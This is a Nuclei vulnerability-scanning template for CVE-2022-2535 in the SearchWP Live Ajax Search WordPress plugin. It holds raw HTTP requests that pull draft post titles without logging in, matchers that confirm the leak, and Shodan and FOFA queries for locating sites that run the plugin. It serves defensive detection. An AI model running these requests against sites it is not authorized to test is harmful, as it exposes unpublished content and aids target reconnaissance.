SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure

ID: CVE-2022-2535

Severity: medium

Author: r3Y3r53,daffainfo

Tags: cve,cve2022,wp,wp-plugin,wordpress,wpscan,searchwp-live-ajax-search,searchwp

Description

The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink

YAML Source

id: CVE-2022-2535

info:
  name: SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure
  author: r3Y3r53,daffainfo
  severity: medium
  description: |
    The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink
  remediation: Fixed in version 1.6.2
  reference:
    - https://wpscan.com/vulnerability/0e13c375-044c-4c2e-ab8e-48cb89d90d02
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2535
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2535
    cwe-id: CWE-639
    epss-score: 0.00198
    epss-percentile: 0.56687
    cpe: cpe:2.3:a:searchwp:searchwp_live_ajax_search:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: searchwp
    product: searchwp_live_ajax_search
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/searchwp-live-ajax-search/
    fofa-query: body=/wp-content/plugins/searchwp-live-ajax-search/
    publicwww-query: "/wp-content/plugins/searchwp-live-ajax-search/"
  tags: cve,cve2022,wp,wp-plugin,wordpress,wpscan,searchwp-live-ajax-search,searchwp

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=publish HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(content_type_1, "text/html") && contains(content_type_2, "text/html")'
          - 'contains(body_1, "searchwp-live-search-result") && contains(body_2, "searchwp-live-search-result")'
          - "len(body_1) != len(body_2)"
        condition: and
# digest: 4a0a004730450221008d28ca20ea8ba3e108d863aade0dfcd7adf00dfafe6e09d21060ecd8908b3f4802205adfc3574cb240e3adab0290f5b0ec8bf069ca011701d49a988994d52bd453c7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2535.yaml"

View on Github